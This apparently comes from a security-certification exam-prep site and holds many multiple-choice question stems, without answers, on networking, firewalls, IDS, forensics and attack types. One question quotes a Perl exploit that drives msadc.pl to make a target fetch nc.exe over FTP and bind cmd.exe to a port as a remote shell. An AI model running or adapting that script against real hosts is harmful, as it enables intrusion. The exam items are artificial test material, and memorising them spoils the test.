Andrew works as a System Administrator for NetPerfect Inc. All client computers on the network run on Mac OS X. The Sales Manager of the company complains that his MacBook is not able to boot. Andrew wants to check the booting process. He suspects that an error persists in the bootloader of Mac OS X. Which of the following is the default bootloader on Mac OS X that he should use to resolve the issue?
In which of the following IKE phases the IPsec endpoints establish parameters for a secure ISAKMP session?
You work as a Network Administrator for NetTech Inc. The company has a Windows Server 2008 domain-based network. The network contains Windows Server 2008 based two-node Network Load Balancing (NLB) cluster named Info.nettech.com. The cluster is implemented for high availability and load balancing for the company's intranet Web site. You find that the users can see the Network Load Balancing (NLB) cluster on the network neighborhood. The users are able to connect to various services by using the Info.nettech.com. The cluster is configured with the one port rule that equally balances all TCP/IP traffic across the cluster nodes. You want to configure the cluster to accept only HTTP traffic. What will you do to accomplish the task?
Each correct answer represents a part of the solution. Choose two.
Which of the following types of firewall functions by creating two different communications, one between the client and the firewall, and the other between the firewall and the end server?
John works as a professional Ethical Hacker for SecureEnet Inc. The company has a Windowsbased network. All client computers run on Windows XP. A project has been assigned to John to investigate about the open ports responsible for various malicious attacks on the network. John wants to use the DOS command-line utility to find out the open ports. Which of the following DOS commands will John use to accomplish the task?
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network.
A branch office is connected to the headquarters through a T1 line. Users at the branch office report poor voice quality on the IP phone while communicating with the headquarters. You find that an application, named WorkReport, at the branch office is suffocating bandwidth by sending large packets for file synchronization. You need to improve the voice quality on the IP phone. Which of the following steps will you choose to accomplish this?
You are planning DNS configuration for your company. You decide to configure an Active Directory integrated DNS.
Which of the following are the benefits of Active Directory integrated DNS configuration?
Each correct answer represents a complete solution. Choose all that apply.
John, a novice web user, makes a new E-mail account and keeps his password as "apple", his favorite fruit. John's password is vulnerable to which of the following password cracking attacks?
Each correct answer represents a complete solution. Choose all that apply.
Which of the following determines which protocols can be used by clients to access the Internet in an ISA Server enabled network?
Which of the following is allowed by a company to be addressed directly from the public network and is hardened to screen the rest of its network from security exposure?
Which of the following commands prints out the headers of packets regarding the boolean expression?
Which of the following programs is used to add words to spam e-mails so that the e-mail is not considered spam and therefore is delivered as if it were a normal message?
Peter works as a Technical Representative in a CSIRT for SecureEnet Inc. His team is called to investigate the computer of an employee, who is suspected for classified data theft. Suspect's computer runs on Windows operating system. Peter wants to collect data and evidences for further analysis. He knows that in Windows operating system, the data is searched in pre-defined steps for proper and efficient analysis. Which of the following is the correct order for searching data on a Windows based system?
Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone. Which of the following methods has the attacker used to crack Andrew's password?
Each correct answer represents a complete solution. Choose all that apply.
Which of the following types of Intrusion detection systems (IDS) is used for port mirroring?
Adam works as a Computer Hacking Forensic Investigator in a law firm. He has been assigned with his first project. Adam collected all required evidences and clues. He is now required to write an investigative report to present before court for further prosecution of the case. He needs guidelines to write an investigative report for expressing an opinion. Which of the following are the guidelines to write an investigative report in an efficient way?
Each correct answer represents a complete solution. Choose all that apply.
Which of the following wireless security features provides the best wireless security mechanism?
You work as a Network Administrator for McNeil Inc. The company's Windows 2000-based network is configured with Internet Security and Acceleration (ISA) Server 2000. You want to configure intrusion detection on the server. You find that the different types of attacks on the Intrusion Detection tab page of the IP Packet Filters Properties dialog box are disabled. What is the most likely cause?
You work as a Network Administrator for Net Perfect Inc. The company has a Windows Server 2008 network environment. The network is configured as a Windows Active Directory-based single forest single domain network. Active Directory integrated zone has been configured on the network. You want to create a text file that lists the resource records of a specified zone for your record. Which of the following commands will you use to accomplish the task?
Which of the following is a technique of attacks in which the attacker secretly listens to the private conversation between victims?
Which of the following attacks involves multiple compromised systems to attack a single target?
Which of the following tools is a wireless sniffer and analyzer that works on the Windows operating system?
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except ports that must be used.
He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about programs like Hping2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?
You work as a Network Administrator for Rick International. The company has a TCP/IP-based network. A user named Kevin wants to set an SSH terminal at home to connect to the company's network. You have to configure your company's router for it. By default, which of the following standard ports does the SSH protocol use for connection?
Which of the following statements best describes the string matching method of signature analysis?
John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. John wants to redirect all TCP port 80 traffic to UDP port 40, so that he can bypass the firewall of the We-are-secure server. Which of the following tools will John use to accomplish his task?
John works as a professional Ethical Hacker. He has been assigned a project for testing the security of www.we-are-secure.com. He wants to corrupt an IDS signature database so that performing attacks on the server is made easy and he can observe the flaws in the We-are-secure server. To perform his task, he first of all sends a virus that continuously changes its signature to avoid detection from IDS. Since the new signature of the virus does not match the old signature, which is entered in the IDS signature database, IDS becomes unable to point out the malicious virus. Which of the following IDS evasion attacks is John performing?
John works as a Security Administrator for NetPerfect Inc. The company uses Windows-based systems. A project has been assigned to John to track malicious hackers and to strengthen the company's security system. John configures a computer system to trick malicious hackers into thinking that it is the company's main server, which in fact is a decoy system to track hackers.
Which system is John using to track the malicious hackers?
Which of the following work as traffic monitoring tools in the Linux operating system?
Each correct answer represents a complete solution. Choose all that apply.
You work as a Network Administrator for Tech Perfect Inc. The office network is configured as an IPv6 network. You have to configure a computer with the IPv6 address, which is equivalent to an IPv4 publicly routable address. Which of the following types of addresses will you choose?
Which of the following commands is used to flush the destination cache for IPv6 interface?
Which of the following DoS attacks points the Central Processing Unit (CPU) to a non-existent memory location causing the running process to end abruptly?
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h
$host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system
("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");
system("perl
msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get
hacked.
html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is
downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is
finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
Which of the following algorithms produces a digital signature which is used to authenticate the bit-stream images?
Which of the following NETSH commands for interface Internet protocol version 4 (IPv4) is used to delete a DNS server or all DNS servers from a list of DNS servers for a specified interface or for all interfaces?
Which of the following attacks is based on the concept that IDSs cannot recognize Unicode encoded malicious data?
Which of the following programs in UNIX is used to identify and fix lost blocks or orphans?
Sandra, a novice computer user, works on Windows environment. She experiences some problem regarding bad sectors formed in a hard disk of her computer. She wants to run CHKDSK command to check the hard disk for bad sectors and to fix the errors, if any, occurred. Which of the following switches will she use with CHKDSK command to accomplish the task?
Which of the following monitors program activities and modifies malicious activities on a system?
Which of the following partitions contains the system files that are used to start the operating system?
John works as a Network Security Professional. He is assigned a project to test the security of www.we-are-secure.com. He is working on the Linux operating system and wants to install an Intrusion Detection System on the We-are-secure server so that he can receive alerts about any hacking attempts. Which of the following tools can John use to accomplish the task?
Each correct answer represents a complete solution. Choose all that apply.
Which of the following ICMPv6 neighbor discovery messages is sent by hosts to request an immediate router advertisement, instead of waiting for the next scheduled advertisement?
Which of the following partitions contains the system files that are used to start the operating system?
Mark works as a Network Administrator for Infonet Inc. The company has a Windows 2000 domainbased network. Mark wants to block all NNTP traffic between the network and the Internet. How will he configure the network?
What is the easiest way to verify that name resolution is functioning properly on a TCP/IP network?
Which of the following commands is used to refresh the Master Boot Record (MBR) in MS-DOS?
For a host to have successful Internet communication, which of the following network protocols are required? You should assume that the users will not manually configure the computer in anyway and that the measure of success will be whether the user can access Web sites after powering the computer and logging on.
Each correct answer represents a complete solution. Choose all that apply.
Which of the following switches is used with Pslist command on the command line to show the statistics for all active threads on the system, grouping these threads with their owning process?
You work as a Network Administrator for Infonet Inc. The company has a Windows Server 2008 Active Directory-based single forest multiple domain IPv4 network. All the DNS servers on the network run Windows Server 2008. The users in the network use NetBIOS name to connect network application on the network. Your manager requires you migrate the network to IPv6-enabled network without affecting any client computers. Which of the following actions will you take to accomplish the task?
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network.
You have configured a firewall on the network. A filter has been applied to block all the ports. You want to enable sending and receiving of emails on the network. Which of the following ports will you open?
Each correct answer represents a complete solution. Choose two.
You are using a Windows-based sniffer named ASniffer to record the data traffic of a network. You have extracted the following IP Header information of a randomly chosen packet from the sniffer's log:
45 00 00 28 00 00 40 00 29 06 43 CB D2 D3 82 5A 3B 5E AA 72
Which of the following TTL decimal values and protocols are being carried by the IP Header of this packet?
Adam, a novice Web user is getting large amount of unsolicited commercial emails on his email address. He suspects that the emails he is receiving are the Spam. Which of the following steps will he take to stop the Spam?
Each correct answer represents a complete solution. Choose all that apply.
Which of the following Web attacks is performed by manipulating codes of programming languages such as SQL, Perl, Java present in the Web pages?
Which of the following utilities allows to view all files including invisible files and folders on a Macintosh OS X?
Mark works as a Network administrator for SecureEnet Inc. His system runs on Mac OS X. He wants to boot his system from the Network Interface Controller (NIC). Which of the following snag keys will Mark use to perform the required function?
Which of the following forensic tool suite is developed for Linux operating system?
Which of the following algorithms is used as a default algorithm for ESP extension header in IPv6?
You work as a professional Computer Hacking Forensic Investigator. A project has been assigned to you to investigate the DoS attack on a computer network of SecureEnet Inc. Which of the following methods will you perform to accomplish the task?
Each correct answer represents a complete solution. Choose all that apply.
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TESTED 03 Jul 2025
